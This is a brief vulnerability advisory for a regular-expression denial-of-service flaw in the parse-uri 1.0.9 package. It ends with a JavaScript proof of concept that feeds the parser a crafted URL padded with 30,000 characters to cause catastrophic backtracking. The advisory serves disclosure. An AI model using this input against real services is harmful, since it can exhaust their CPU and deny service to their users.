Packages
Details
As written in the advisory (Markdown source, shown as plain text).
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
## PoC
```js
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
```
